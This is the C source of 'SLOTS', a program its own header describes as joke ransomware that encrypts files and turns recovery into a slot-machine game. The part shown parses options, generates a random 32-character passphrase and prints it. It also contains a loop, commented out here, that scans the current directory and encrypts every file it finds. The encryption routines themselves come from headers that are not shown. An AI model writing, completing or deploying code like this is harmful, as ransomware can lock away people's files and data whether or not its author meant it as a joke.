1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
|
/***
* SLOTS - Feelin' Lucky?
*
* SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
* This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
* also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
*
*
*/
#define _GNU_SOURCE
#include "encryption.h"
#include "search.h"
#include "ll.h"
#include <sodium.h>
#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <argp.h>
#include <time.h>
#include <stdio.h>
#define PHRASESIZE 32
const char *argp_program_version = "Alpha-0.1";
const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";
static char doc[] = "lol";
static char argdoc[] = "lmao";
static struct argp_option options[] = {
{.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
{"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0},
{"noenc", 'n', 0, 0, "Don't encrypt files when ran, just play slots"},
{0}
};
struct arguments {
char *inputpass;
int skipslots;
};
static error_t parse_opt(int key, char *arg, struct argp_state *state) {
struct arguments *args = state->input;
switch(key) {
case 'p':
/* Specifying the start option of "-p=<phrase>" errors out unless this is done.
// Technically a user should use --passphrase=<phrase> if they want to use the = sign, but I think
// this is how it should work. RMS can suck it */
if(*arg == '=')
arg++;
args->inputpass = arg;
break;
case 'd':
args->skipslots = 1;
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};
int genphrase(char *phrase, size_t phrasesize) {
memset(phrase, 0, phrasesize);
for(size_t i = 0; i < phrasesize; i++) {
phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A';
if(randombytes_random() > (0xffffffff / 2))
phrase[i] += ('a' - 'A');
}
return 0;
}
int main(int argc, char *argv[]) {
if(sodium_init() < 0)
error(1, errno, "[VX-GAMBLEGROUND] Could not init sodium");
struct arguments args;
args.inputpass = NULL;
args.skipslots = 0;
argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);
if(args.inputpass != NULL) {
if(strlen(args.inputpass) != PHRASESIZE) {
error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
}
printf("Using input passphrase \"%s\"\n", args.inputpass);
} else {
char phrase[PHRASESIZE];
genphrase(phrase, PHRASESIZE);
printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase);
if(args.skipslots == 0) {
printf("Hit Enter to contine, or CTRL+C to cancel...");
getchar();
}
}
/* Get files
struct nodelist *files = scanfiles("./", alphasort);
// Encrypt those files
for(struct nodelist *p = files; p != NULL; p = p->next) {
int fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
continue;
}
passencblock(fd, phrase);
close(fd);
}
nodelist_delete(files);
//*/
return 0;
}
|